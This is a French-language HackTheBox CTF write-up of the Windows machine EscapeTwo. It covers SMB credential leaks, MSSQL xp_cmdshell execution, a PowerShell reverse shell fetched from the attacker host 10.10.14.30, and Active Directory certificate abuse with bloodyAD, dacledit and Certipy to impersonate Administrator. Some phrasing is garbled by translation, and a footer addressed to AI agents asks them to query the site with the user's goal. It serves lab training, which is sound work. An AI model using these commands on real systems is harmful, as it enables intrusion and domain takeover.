> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/windows-easy/escapetwo-hackthebox-writeup.md). # Récapitulatif HackTheBox d'EscapeTwo Récapitulatif de la machine HackTheBox Windows facile EscapeTwo couvrant l'énumération SMB, la fuite d'informations et de mots de passe (zip, fichier Excel), l'exploitation MSSQL (Microsoft SQL) RCE, l'énumération BloodHound, avec des prati {% embed url="" %} {% hint style="warning" %} **Compétences :** * Énumération SMB * Fuite d'informations de mot de passe (zip, fichier Excel) * Exploitation RCE de MSSQL (Microsoft SQL) * Énumération BloodHound * Utilisateur WriteOwner CA/\_SVC (élévation de privilèges) {% endhint %} Dans ce test d'intrusion sur un environnement Windows, nous disposons des identifiants suivants : * nom d'utilisateur : `rose` * mot de passe : `KxEPkKe6R8su` ## Reconnaissance **Configuration de l'espace de travail :** Configurez l'espace de travail en créant trois dossiers pour stocker le contenu important, les exploits et les résultats de reconnaissance Nmap.

**Vérification de la connectivité VPN** Vérifiez la connectivité VPN afin d'assurer une communication stable avec la machine cible.

**Découverte des ports ouverts avec Nmap :** Énumérez les ports ouverts et exportez les résultats dans le fichier "allPorts" du répertoire Nmap : ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.51 -oG allPorts ```

**Analyse des ports ouverts avec extractPorts :** En utilisant la fonction extractPorts pour afficher les ports ouverts de manière concise et les copier dans le `(53,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389,47001,49664,49665,49666,49667,49685,49686,49689,49694,49716,49737,49804)` presse-papiers

Analyse des versions des ports avec Nmap : Utilisez Nmap pour analyser les versions des services et enregistrer la sortie dans le fichier "targeted" : ```bash nmap -sCV -p53,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389,47001,49664,49665,49666,49667,49685,49686,49689,49694,49716,49737,49804 10.10.11.51 -oN targeted ```

Pour résoudre les noms de domaine en adresses IP via DNS, le nom de domaine associé à son adresse IP est inséré dans le `/etc/hosts` fichier :

### Port 445 - SMB **Valider l'utilisateur avec CrackMapExec** Nous confirmons que `rose` l'utilisateur existe sur le contrôleur de domaine (DC) : ```bash crackmapexec smb 10.10.11.51 -u 'rose' -p 'KxEPkKe6R8su' ```

**Exploration des partages SMB** Nous सूचीons les partages accessibles avec `--shares` commande : ```bash crackmapexec smb 10.10.11.51 -u 'rose' -p 'KxEPkKe6R8su' --shares ``` **Résultat**: Deux dossiers intéressants sont visibles : * `Users` * `Département comptabilité`

/*/* Se connecter au partage SMB avec smbclient/*/* Nous accédons à **Département comptabilité**: ```bash smbclient '//10.10.11.51/Accounting Department' -U rose ``` Dans ce répertoire, nous récupérons deux fichiers Excel : ```powershell get accounting_2024.xlsx get accounts.xlsx ```

**Identification du format de fichier** Avec l' `fichier` commande, nous déterminons que ces fichiers sont en réalité des archives ZIP.

**Extraction de fichiers ZIP** Nous décompressons les fichiers récupérés :

**Recherche d'informations sensibles** Nous filtrons les fichiers extraits pour trouver les informations contenant le mot-clé **mot de passe**: ```bash find . -type f -name "*.txt" -exec grep -iH "password" {} + ```

**Résultat**: Un fichier nommé `shareStrings.xml` contient une liste d'utilisateurs et de mots de passe.

Prénom	Nom	E-mail	Nom d'utilisateur	Mot de passe
Angela	Martin	angela@sequel.htb	angela	0fwz7Q4mSpurIt99
Oscar	Martinez	oscar@sequel.htb	oscar	86LxLBMgEWaKUnBG
Kevin	Malone	kevin@sequel.htb	kevin	Md9Wlq1E5bZnVDVo
		sa@sequel.htb	sa	MSSQLP@ssw0rd!

**Tester les identifiants avec CrackMapExec** Nous utilisons les identifiants récupérés pour valider les comptes : ```bash crackmapexec smb 10.10.11.51 -u 'angela' -p '0fwz7Q4mSpurIt99' crackmapexec smb 10.10.11.51 -u 'oscar' -p '86LxLBMgEWaKUnBG' crackmapexec smb 10.10.11.51 -u 'kevin' -p 'Md9Wlq1E5bZnVDVo' crackmapexec smb 10.10.11.51 -u 'sa' -p 'MSSQLP@ssw0rd!' ``` **Résultat**: Seul le `oscar` l'utilisateur est valide.

## Exploitation MSSQL (Microsoft SQL) **Port 1433 (MSSQL)** Le port 1433 est ouvert, ce qui indique qu'un serveur Microsoft SQL est à l'écoute. Nous allons tester les connexions avec les différents utilisateurs récupérés précédemment.

**Test de connexion MSSQL** Nous utilisons `mssqlclient.py` pour essayer de se connecter : ```bash mssqlclient.py sequel.htb/angela@10.10.11.51 mssqlclient.py sequel.htb/oscar@10.10.11.51 mssqlclient.py sequel.htb/kevin@10.10.11.51 ```

**Résultat**: Seul l'utilisateur `sa` fonctionne. ```bash mssqlclient.py sequel.htb/sa@10.10.11.51 ```

### Shell inversé via MSSQL **Activer l’exécution de commandes** Pour exécuter des commandes système, nous activons `xp_cmdshell`: ```sql enable_xp_cmdshell ``` Nous testons ensuite avec une commande simple, comme `ipconfig`: ```sql xp_cmdshell ipconfig ```

**Préparation de l'écoute sur notre machine** Nous lançons un écouteur sur le port 4444 : ```bash rlwrap nc -nvlp 4444 ``` **Télécharger un script PowerShell** Nous préparons un script PowerShell appelé `PS.ps1` qui inclut une commande de shell inverse. À la fin du script, nous ajoutons la ligne suivante : {% embed url="" %} À la fin du script, nous ajoutons la ligne suivante : ```bash Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.30 -Port 4444 ``` Nous hébergeons ce script sur un serveur web local : ```bash python3 -m http.server 80 ``` **Exécution du reverse shell** Depuis le serveur MSSQL, nous exécutons la commande suivante pour télécharger et lancer le script PowerShell : ```sql xp_cmdshell powershell -NoP -NonI -Command "iex (New-Object Net.WebClient).DownloadString(''http://10.10.14.30/PS.ps1'')" ```

## Pivot vers l'utilisateur Ryan **Nouveaux identifiants découverts** En explorant le système, nous découvrons un répertoire nommé **SQL2019** à la racine. À l'intérieur, nous trouvons les identifiants suivants : * Nom d'utilisateur : `ryan` * Mot de passe : `WqSZAF6CysDQbGb3`

**Validation des identifiants avec CrackMapExec** Nous vérifions si ces identifiants sont valides : ```bash crackmapexec smb 10.10.11.51 -u 'sql_svc' -p 'WqSZAF6CysDQbGb3' ```

En explorant les répertoires partagés, nous identifions un utilisateur nommé `ryan`. Nous testons les mêmes identifiants que pour `sql_svc`:

**Résultat**: Les identifiants fonctionnent également pour l'utilisateur `ryan`. ```bash crackmapexec smb 10.10.11.51 -u 'ryan' -p 'WqSZAF6CysDQbGb3' ```

Evil-winrm ```bash evil-winrm -i 10.10.11.51 -u 'ryan' -p 'WqSZAF6CysDQbGb3' ```

### Drapeau user.txt :)

## Élévation de privilèges ### Énumération BloodHound-python Commande utilisée : ```bash bloodhound-python -u "ryan" -p "WqSZAF6CysDQbGb3" -d sequel.htb -ns 10.10.11.51 -c All ```

## WriteOwner : **Observation :**/ Le **Ryan** utilisateur a `WriteOwner` l'autorisation sur le **compte CA/ SVC** qui est également l'émetteur du certificat. Cela signifie que nous pouvons modifier le propriétaire du compte **compte CA/ SVC** pour l'associer **Ryan**.

### Prendre le contrôle de CA/\_SVC avec BloodyAD #### Changement du propriétaire du compte {% code overflow="wrap" %} ```bash bloodyAD --host '10.10.11.51' -d 'sequel.htb' -u 'ryan' -p 'WqSZAF6CysDQbGb3' set owner 'ca_svc' 'ryan' ``` {% endcode %} La commande utilise BloodyAD pour modifier le propriétaire de **compte CA/ SVC** et le définir sur **Ryan**. En tant que propriétaire, **Ryan** peut maintenant modifier les autorisations associées au compte. ### Modifier les permissions avec Dacledit #### Accorder tous les droits à Ryan {% code overflow="wrap" %} ```bash dacledit.py -action write -rights FullControl -principal ryan -target ca_svc sequel.htb/ryan:WqSZAF6CysDQbGb3 ``` {% endcode %} Cette commande modifie le **DACL** (liste de contrôle d'accès discrétionnaire, DACL) du **compte CA/ SVC** compte afin d'accorder un contrôle total à **Ryan**. Cela permet à Ryan de réinitialiser le mot de passe ou de manipuler les clés d'authentification.

### Extraction des shadow credentials #### Générer et récupérer l'empreinte NT {% code overflow="wrap" %} ```bash certipy shadow auto -u 'ryan@sequel.htb' -p "WqSZAF6CysDQbGb3" -account 'ca_svc' -dc-ip '10.10.11.51' -target dc01.sequel.htb -ns 10.10.11.51 ``` {% endcode %}

empreinte NT pour **CA/\_SVC**: `3b181b914e7a9d5508ea1e20bc2b7fce` Le **Certipy** commande génère une clé d'identification pour **compte CA/ SVC**, permettant l'authentification par certificat. Un `.ccache` fichier est également généré, ce qui facilite les attaques basées sur Kerberos. ### Modification du modèle de certificat #### Ajuster le modèle d'authentification DunderMifflinAuthentication {% code overflow="wrap" %} ```bash KRB5CCNAME=$PWD/ca_svc.ccache certipy template -k -template DunderMifflinAuthentication -target dc01.sequel.htb -dc-ip 10.10.11.51 ``` {% endcode %}

Cette commande modifie le **DunderMifflinAuthentication** de modèle de certificat pour permettre l'émission de certificats avec des privilèges élevés. ### Émission d'un certificat pour l'administrateur #### Demander un certificat pour usurpation d'identité {% code overflow="wrap" %} ```bash certipy req -u ca_svc -hashes '3b181b914e7a9d5508ea1e20bc2b7fce' -ca sequel-DC01-CA -target dc01.sequel.htb -dc-ip 10.10.11.51 -template DunderMifflinAuthentication -upn Administrator@sequel.htb -ns 10.10.11.51 -dns 10.10.11.51 ``` {% endcode %}

Cette commande demande un certificat au nom de l'Administrateur (`Administrator@sequel.htb`), ce qui permet d'usurper l'identité de ce compte. ### Authentification en tant qu'Administrateur #### Utilisation du certificat pour s'authentifier ```bash certipy auth -pfx administrator_10.pfx -dc-ip 10.10.11.51 ```

**Empreinte NTLMv2 :** `7a8d4e04986afa8ed4060f75e5a0b3ff` ```bash evil-winrm -i 10.10.11.51 -u administrator -H "7a8d4e04986afa8ed4060f75e5a0b3ff" ```

Cette commande s'authentifie en tant qu'Administrateur avec le certificat obtenu précédemment et récupère le hachage NTLM. ### Flag root.txt :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/windows-easy/escapetwo-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.